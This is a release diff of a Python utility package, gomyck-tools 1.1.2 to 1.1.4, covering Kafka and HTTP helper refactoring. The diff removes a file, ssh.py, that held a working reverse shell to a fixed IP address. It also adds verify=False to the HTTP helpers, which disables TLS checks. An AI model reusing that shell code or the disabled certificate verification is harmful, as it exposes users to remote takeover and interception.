gomyck-tools 1.1.2__tar.gz → 1.1.4__tar.gz

{gomyck-tools-1.1.2 → gomyck-tools-1.1.4}/PKG-INFO

@@ -1,6 +1,6 @@
 Metadata-Version: 2.1
 Name: gomyck-tools
-Version: 1.1.2
+Version: 1.1.4
 Summary: A ctools for python development by hao474798383
 Home-page: https://blog.gomyck.com
 Author: gomyck
@@ -20,7 +20,10 @@ Requires-Dist: psutil>=6.0.0
 Requires-Dist: jsonpath_ng>=1.6.1
 Requires-Dist: bottle==0.13.1
 Requires-Dist: requests==2.32.3
+Requires-Dist: urllib3==1.26.18
 Requires-Dist: kafka-python==2.0.2
-Requires-Dist: bottle-websocket==0.2.9
+Requires-Dist: bs4==0.0.2
+Requires-Dist: paho-mqtt==2.1.0
+Requires-Dist: fuzzywuzzy==0.18.0
 
 this package is for python development

{gomyck-tools-1.1.2 → gomyck-tools-1.1.4}/ctools/bottle_web_base.py

@@ -4,7 +4,7 @@ from functools import wraps
 
 import bottle
 from bottle import response, Bottle, request
-
+from ctools.dict_wrapper import DictWrapper
 from ctools.api_result import R
 from ctools.sys_log import flog as log
 
@@ -142,9 +142,4 @@ class FormDataParams:
     except Exception:
       return self.files[key]
 
-class DictWrapper(dict):
-  def __getattr__(self, key):
-    return self.get(key)
 
-  def __setattr__(self, key, value):
-    self[key] = value

{gomyck-tools-1.1.2 → gomyck-tools-1.1.4}/ctools/ckafka.py

@@ -14,137 +14,146 @@ from ctools.cjson import dumps
 
 """
 import time
+from datetime import datetime
 
-from ctools import thread_pool
+from ctools import thread_pool, string_tools
 from ctools.ckafka import CKafka
 
 c = CKafka(kafka_url='192.168.3.160:9094', secure=True)
 
+producer = c.init_producer()
+consumer = c.init_consumer(enable_auto_commit=False)
+
 def send_msg():
   while True:
-    time.sleep(3)
-    c.send_msg('test', 'test')
+    command = input('发送消息: Y/n \n')
+    if command.strip() not in ['N', 'n']:
+      producer.send_msg('jqxx-lib', '{{"jqid": "{}", "xxxx": "{}=={}"}}'.format(string_tools.get_snowflake_id(), command.strip(), datetime.strftime(datetime.now(), '%Y-%m-%d %H:%M:%S')))
+    else:
+      break
 
 thread_pool.submit(send_msg)
-c.get_msg('test')
-"""
 
-class CKafka:
+def consumer_callback(msg):
+  print(msg)
+  return True
+
+consumer.receive_msg('jqxx-lib', callBack=consumer_callback)
 
-  def __init__(self, kafka_url: str = '127.0.0.1:9092', secure: bool = False, username: str = 'client', password: str = 'hylink_user_password', consumer_group: str = 'ck-py-kafka-consumer'):
-    self.consumer: KafkaConsumer = None
-    self.producer: KafkaProducer = None
+time.sleep(10000)
+"""
+class KafkaInstance:
+  def __init__(self, producer: KafkaProducer, consumer: KafkaConsumer):
     self.start_consumer = False
+    self.quited = False
+    self.producer = producer
+    self.consumer = consumer
     self.consumer_callback = {"topic_key": []}
-    self.consumer_group = consumer_group
+
+  # FutureRecordMetadata 可以添加回调, 来监听是否发送成功
+  # r.add_callback(lambda x: print(x))
+  # r.get() 可以同步获取结果
+  def send_msg(self, topic, msg, key: str=None, partition:int=None) -> FutureRecordMetadata:
+    if self.producer is None: raise RuntimeError("Producer is not initialized")
+    if self.quited: return
+    return self.producer.send(topic=topic, value=msg, key=None if key is None else key.encode('utf-8'), partition=partition)
+
+  def receive_msg(self, topics: str, callBack=print):
+    if self.consumer is None: raise RuntimeError("Consumer is not initialized")
+    for topic in topics.split(','):
+      if topic not in self.consumer_callback.keys():
+        self.consumer_callback[topic] = []
+        self.consumer.subscribe(self.consumer_callback.keys())
+      self.consumer_callback[topic].append(callBack)
+    if not self.start_consumer:
+      t = Thread(target=self._start_consumer_poll, daemon=True)
+      t.start()
+
+  def _start_consumer_poll(self):
+    self.start_consumer = True
+    for msg in self.consumer:
+      if self.quited: break
+      funcList = []
+      begin_time = time.time()
+      for func in self.consumer_callback[msg.topic]:
+        if self.quited: break
+        res = func(msg)
+        if not self.consumer.config['enable_auto_commit'] and res: self.consumer.commit()
+        funcList.append(func.__name__)
+      end_time = time.time()
+      if end_time - begin_time > 1: print(f"kafka consume too slow!!! {funcList} time cost: ", f'{round(end_time - begin_time, 2)}s')
+      funcList.clear()
+
+  def shutdown(self):
+    self.quited = True
+    try: self.consumer.close()
+    except Exception: pass
+    try: self.producer.close()
+    except Exception: pass
+
+
+class CKafka:
+
+  def __init__(self, kafka_url: str = '127.0.0.1:9092', secure: bool = False, username: str = 'client', password: str = 'hylink_user_password'):
     self.kafka_url = kafka_url
-    self.init_producer = False
-    self.init_consumer = False
     self.secure = secure
     self.username = username
     self.password = password
-    self.locker = Lock()
-    self.quited = False
 
-  def _create_producer(self) -> KafkaProducer:
+  def init_producer(self, acks=1) -> KafkaInstance:
     print("[ Producer ] Connecting to Kafka brokers")
     for i in range(0, 6):
       try:
         if self.secure:
-          self.producer = KafkaProducer(
+          producer = KafkaProducer(
+            acks=acks,
             bootstrap_servers=self.kafka_url,
+            value_serializer=lambda x: dumps(x).encode('utf-8'),
             sasl_plain_username=self.username,
             sasl_plain_password=self.password,
             security_protocol='SASL_PLAINTEXT',
-            sasl_mechanism='PLAIN',
-            value_serializer=lambda x: dumps(x).encode('utf-8'))
+            sasl_mechanism='PLAIN'
+          )
         else:
-          self.producer = KafkaProducer(
+          producer = KafkaProducer(
+            acks=acks,
             bootstrap_servers=self.kafka_url,
-            value_serializer=lambda x: dumps(x).encode('utf-8'))
+            value_serializer=lambda x: dumps(x).encode('utf-8')
+          )
         print("[ Producer ] Connected to Kafka...")
-        self.init_producer = True
-        return self.producer
+        return KafkaInstance(producer=producer, consumer=None)
       except errors.NoBrokersAvailable:
         print("[ Producer ] Waiting for brokers to become available...")
         time.sleep(3)
     raise RuntimeError("[ Producer ] Failed to connect to brokers within 60 seconds")
 
-  def _create_consumer(self) -> KafkaProducer:
+  def init_consumer(self, client_id: str = 'ck-py-kafka-consumer', consumer_group: str = 'ck-py-kafka-consumer', enable_auto_commit: bool = True) -> KafkaInstance:
     print("[ Consumer ] Connecting to Kafka brokers")
     for i in range(0, 6):
       try:
         if self.secure:
-          self.consumer = KafkaConsumer(
-            group_id=self.consumer_group,
+          consumer = KafkaConsumer(
+            client_id=client_id,
+            group_id=consumer_group,
+            enable_auto_commit=enable_auto_commit,
             bootstrap_servers=self.kafka_url,
+            value_deserializer=lambda x: x.decode('utf-8'),
             sasl_plain_username=self.username,
             sasl_plain_password=self.password,
             security_protocol='SASL_PLAINTEXT',
-            sasl_mechanism='PLAIN',
-            value_deserializer=lambda x: x.decode('utf-8'))
+            sasl_mechanism='PLAIN'
+          )
         else:
-          self.consumer = KafkaProducer(
+          consumer = KafkaProducer(
+            client_id=client_id,
+            group_id=consumer_group,
+            enable_auto_commit=enable_auto_commit,
             bootstrap_servers=self.kafka_url,
-            value_deserializer=lambda x: x.decode('utf-8'))
+            value_deserializer=lambda x: x.decode('utf-8')
+          )
         print("[ Consumer ] Connected to Kafka...")
-        self.init_consumer = True
-        return self.consumer
+        return KafkaInstance(producer=None, consumer=consumer)
       except errors.NoBrokersAvailable:
         print("[ Consumer ] Waiting for brokers to become available...")
         time.sleep(3)
     raise RuntimeError("[ Consumer ] Failed to connect to brokers within 60 seconds")
-
-  # FutureRecordMetadata 可以添加回调, 来监听是否发送成功
-  # r.add_callback(lambda x: print(x))
-  # r.get() 可以同步获取结果
-  def send_msg(self, topic, msg, key: str=None, partition:int=None) -> FutureRecordMetadata:
-    if self.quited: return None
-    if not self.init_producer:
-      with self.locker:
-        if not self.init_producer:
-          self._create_producer()
-    return self.producer.send(topic=topic, value=msg, key=None if key is None else key.encode('utf-8'), partition=partition)
-
-  def get_msg(self, topics: str, callBack=print):
-    if not self.init_consumer:
-      with self.locker:
-        if not self.init_consumer:
-          self._create_consumer()
-    for topic in topics.split(','):
-      if topic not in self.consumer_callback.keys():
-        self.consumer_callback[topic] = []
-        self.consumer.subscribe(self.consumer_callback.keys())
-      self.consumer_callback[topic].append(callBack)
-    if not self.start_consumer:
-      t = Thread(target=self._start_consumer_poll)
-      t.start()
-
-  def _start_consumer_poll(self):
-    self.start_consumer = True
-    for msg in self.consumer:
-      if self.quited: break
-      taskList = []
-      funcList = []
-      begin_time = time.time()
-      for func in self.consumer_callback[msg.topic]:
-        if self.quited: break
-        f = thread_pool.submit(func, (msg, ))
-        taskList.append(f)
-        funcList.append(func.__name__)
-      for f in taskList:
-        if self.quited: break
-        f.result()
-      end_time = time.time()
-      if end_time - begin_time > 1: print(f"kafka consume too slow!!! {funcList} time cost: ", f'{round(end_time - begin_time, 2)}s')
-      taskList.clear()
-      funcList.clear()
-
-  def shutdown(self):
-    self.quited = True
-    try: self.consumer.close()
-    except Exception: pass
-    try: self.producer.close()
-    except Exception: pass
-    thread_pool.shutdown(wait=True)
-

gomyck-tools-1.1.4/ctools/dict_wrapper.py

@@ -0,0 +1,11 @@
+#!/usr/bin/env python
+# -*- coding: UTF-8 -*-
+__author__ = 'haoyang'
+__date__ = '2024/10/25 09:42'
+
+class DictWrapper(dict):
+  def __getattr__(self, key):
+    return self.get(key)
+
+  def __setattr__(self, key, value):
+    self[key] = value

{gomyck-tools-1.1.2 → gomyck-tools-1.1.4}/ctools/http_utils.py

@@ -4,19 +4,19 @@ import requests
 def get(url, params=None, headers=None):
   result = ""
   try:
-    response = requests.get(url, params=params, headers=headers, timeout=60)
+    response = requests.get(url, params=params, headers=headers, timeout=60, verify=False)
     response.raise_for_status()
     if response.status_code == 200:
       result = response.content
   except Exception as e:
     print("GET请求异常:", e)
-  return result
+  return result.decode('utf-8')
 
 
 def post(url, data=None, json=None, headers=None, files=None):
   result = ""
-  response = requests.post(url, data=data, json=json, files=files, headers=headers, timeout=60)
+  response = requests.post(url, data=data, json=json, files=files, headers=headers, timeout=60, verify=False)
   response.raise_for_status()
   if response.status_code == 200:
     result = response.content
-  return result
+  return result.decode('utf-8')

{gomyck-tools-1.1.2 → gomyck-tools-1.1.4}/ctools/id_worker_tools.py

@@ -31,7 +31,7 @@ class IdWorker(object):
     初始化
     :param datacenter_id: 数据中心（机器区域）ID
     :param worker_id: 机器ID
-    :param sequence: 其实序号
+    :param sequence: 起始序号
     """
     # sanity check
     if worker_id > MAX_WORKER_ID or worker_id < 0:

{gomyck-tools-1.1.2 → gomyck-tools-1.1.4}/ctools/images_tools.py

@@ -1,4 +1,3 @@
-
 from io import BytesIO
 
 from PIL import Image

{gomyck-tools-1.1.2 → gomyck-tools-1.1.4}/ctools/imgDialog.py

@@ -6,7 +6,6 @@ from tkinter import ttk
 import requests
 from PIL import Image, ImageTk
 
-
 def showImageTip(root, title, imagePath, tips):
   # 创建一个Tk对象
   if root:

{gomyck-tools-1.1.2 → gomyck-tools-1.1.4}/ctools/mqtt_utils.py

@@ -1,13 +1,17 @@
 import time
+from enum import Enum
 from typing import Dict
 
-from business.common import DictToObj
-from business.common.constant import MQTTEvent
+from ctools.dict_wrapper import DictWrapper as DictToObj
 from paho.mqtt import client as mqtt
 from paho.mqtt.enums import CallbackAPIVersion
 
 from ctools import sys_log, cjson, string_tools, sys_info, date_utils, sm_tools, thread_pool
 
+class MQTTEvent(Enum):
+
+  pass
+
 '''
 MQTT服务使用示例:
 

{gomyck-tools-1.1.2 → gomyck-tools-1.1.4}/ctools/pty_tools.py

@@ -2,6 +2,8 @@ import _thread
 import queue
 import time
 
+# 伪终端交互
+
 from winpty import PtyProcess
 
 

{gomyck-tools-1.1.2 → gomyck-tools-1.1.4}/ctools/string_tools.py

@@ -7,6 +7,7 @@ import chardet
 
 from ctools.id_worker_tools import IdWorker
 
+idWorker = IdWorker(1, 2, 0)
 
 def get_random_str(size: int = 10):
   """
@@ -22,7 +23,7 @@ def get_uuid():
 
 
 def get_snowflake_id():
-  return IdWorker(1, 2, 0).get_id()
+  return idWorker.get_id()
 
 
 def decode_bytes(bytes_str: Union[bytes, bytearray]):

{gomyck-tools-1.1.2 → gomyck-tools-1.1.4}/gomyck_tools.egg-info/PKG-INFO

@@ -1,6 +1,6 @@
 Metadata-Version: 2.1
 Name: gomyck-tools
-Version: 1.1.2
+Version: 1.1.4
 Summary: A ctools for python development by hao474798383
 Home-page: https://blog.gomyck.com
 Author: gomyck
@@ -20,7 +20,10 @@ Requires-Dist: psutil>=6.0.0
 Requires-Dist: jsonpath_ng>=1.6.1
 Requires-Dist: bottle==0.13.1
 Requires-Dist: requests==2.32.3
+Requires-Dist: urllib3==1.26.18
 Requires-Dist: kafka-python==2.0.2
-Requires-Dist: bottle-websocket==0.2.9
+Requires-Dist: bs4==0.0.2
+Requires-Dist: paho-mqtt==2.1.0
+Requires-Dist: fuzzywuzzy==0.18.0
 
 this package is for python development

{gomyck-tools-1.1.2 → gomyck-tools-1.1.4}/gomyck_tools.egg-info/SOURCES.txt

@@ -18,6 +18,7 @@ ctools/console.py
 ctools/cron_lite.py
 ctools/database.py
 ctools/date_utils.py
+ctools/dict_wrapper.py
 ctools/douglas_rarefy.py
 ctools/download_tools.py
 ctools/enums.py
@@ -40,7 +41,6 @@ ctools/resource_bundle_tools.py
 ctools/screenshot_tools.py
 ctools/sign.py
 ctools/sm_tools.py
-ctools/ssh.py
 ctools/strDiff.py
 ctools/string_tools.py
 ctools/sys_info.py

{gomyck-tools-1.1.2 → gomyck-tools-1.1.4}/gomyck_tools.egg-info/requires.txt

@@ -8,5 +8,8 @@ psutil>=6.0.0
 jsonpath_ng>=1.6.1
 bottle==0.13.1
 requests==2.32.3
+urllib3==1.26.18
 kafka-python==2.0.2
-bottle-websocket==0.2.9
+bs4==0.0.2
+paho-mqtt==2.1.0
+fuzzywuzzy==0.18.0

{gomyck-tools-1.1.2 → gomyck-tools-1.1.4}/setup.py

@@ -2,7 +2,6 @@ import os
 
 from setuptools import setup, find_packages
 
-
 def parse_requirements(filename):
   with open(filename, 'r') as f:
     lines = f.read().splitlines()
@@ -12,7 +11,7 @@ requirements = parse_requirements(os.path.join(os.path.dirname(__file__), 'requi
 
 setup(
   name="gomyck-tools",
-  version="1.1.2",
+  version="1.1.4",
   author="gomyck",
   author_email="hao474798383@163.com",
   description="A ctools for python development by hao474798383",
@@ -31,7 +30,5 @@ setup(
 
 # 安装依赖, 并生成构建包
 # pip install setuptools wheel twine
-# python setup.py sdist bdist_wheel
+# rm -rf gomyck_tools.egg-info dist build && python setup.py sdist bdist_wheel && twine upload dist/* && rm -rf gomyck_tools.egg-info dist build
 
-# 构建之前要删除 build dist egg 三个目录
-# twine upload dist/*

gomyck-tools-1.1.2/ctools/ssh.py

@@ -1,11 +0,0 @@
-import os
-import socket
-import subprocess
-
-s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
-s.connect(('192.168.3.239',3123))
-os.dup2(s.fileno(),0)
-os.dup2(s.fileno(),1)
-os.dup2(s.fileno(),2)
-p=subprocess.call(['/bin/sh','-i'])
-